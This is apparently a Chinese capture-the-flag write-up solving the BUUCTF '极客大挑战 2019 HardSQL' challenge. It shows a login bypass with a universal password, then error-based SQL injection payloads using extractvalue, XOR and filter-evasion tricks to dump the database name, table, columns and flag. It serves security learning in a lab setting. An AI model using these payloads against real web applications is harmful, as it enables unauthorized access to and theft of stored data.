练习 6 Web [极客大挑战 2019]HardSQL

[极客大挑战 2019]HardSQL

先尝试登录,查看报错信息

  • admin =111 password =1111 登录失败
  • admin =111 password =1'or'1 登录成功

这里直接试了万能密码成功,复习一下,第一个 ' 是为了闭合前面的sql语句,最后的1后面没有 ' 是因为默认情况下,通常sql语句会以' 结尾,我们注入的是'1,实际解析出来就是'1',不会报错。

参考文章:万能密码'or'的原理

然后尝试将 or 后面的1换成查库、查表、等等查询语句,提示显然被过滤了,卡住

做不出来,搜wp,SQL注入通常的思路是联合查询,如果尝试都被过滤,或者查询不到任何内容,那应该要考虑"报错注入"的方式。

SQL注入之报错注入
SQL注入,xpath函数updatexml()和extractvalue()报错注入原理
BUUCTF-[极客大挑战 2019]HardSQL 1详解

报错注入通常是利用非法语句产生报错并返回报错的内容,当报错一般会返回报错的内容是什么,当返回内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行

此题尝试使用

extractvalue(xml_document.Xpath_string)

作用:

查询一个名叫"xml_document"的文档

路径为"Xpath_string"

构造注入语句

extractvalue(1,concat('0x7e',select(database())))%23

'or extractvalue() 中间的这个空格也会被过滤,再查wp
用'^'来连接函数,形成异或

php 复制代码
?username=111&password=1111'^extractvalue

失败,检查一下括号少了,(select(database()))要括起来

爆出库名:geek

爆破表名,sql语句之间的空格用()代替,=号用like代替,构造:

php 复制代码
?username=111&password=1111'^extractvalue(1,concat('0x7e',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek"))))%23

表名:H4rDsq1

爆破字段内容:

php 复制代码
select group_concat(column_name) from information_schema.columns where table_schema=database()
#这里原代码表名变量叫'table_schema',但本题中必须输入'table_name',检查半天非常无语
?username=111&password=111'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1"))))%23

继续查找flag:

php 复制代码
?username=111&password=111'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)where(id)like(1))))%23

获得:flag{327111be-7867-495c-872d-51

'}'不见了,flag应该还有一半未显示

使用right(value,str_length)函数

?username=111&password=111'^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)where(id)like(1))))%23

获得:e-7867-495c-872d-511f0cc4fc08}

拼接flag{327111be-7867-495c-872d-51e-7867-495c-872d-511f0cc4fc08}

提交错误

中间应该还有几个字符,调整right函数的第二个参数控制显示长度,后半部分是'7111be'开头

才发现这个flag很短。。

flag{327111be-7867-495c-872d-511f0cc4fc08}

提交正确

相关推荐
pen-ai11 分钟前
【SQL】一文速通SQL
数据库·sql
hummhumm5 小时前
第 12 章 - Go语言 方法
java·开发语言·javascript·后端·python·sql·golang
hummhumm5 小时前
第 8 章 - Go语言 数组与切片
java·开发语言·javascript·python·sql·golang·database
ModelBulider7 小时前
十三、注解配置SpringMVC
java·开发语言·数据库·sql·mysql
FIN技术铺9 小时前
问:数据库的六种锁机制实践总结?
数据库·sql·oracle
张某布响丸辣13 小时前
SQL中的时间类型:深入解析与应用
java·数据库·sql·mysql·oracle
爪哇学长16 小时前
SQL 注入详解:原理、危害与防范措施
xml·java·数据库·sql·oracle
爱吃土豆的马铃薯ㅤㅤㅤㅤㅤㅤㅤㅤㅤ16 小时前
mybatisPlus打印sql配置
数据库·sql
给我整点护发素17 小时前
Flink执行sql时报错
大数据·sql·flink
明月与玄武20 小时前
关于性能测试:数据库的 SQL 性能优化实战
数据库·sql·性能优化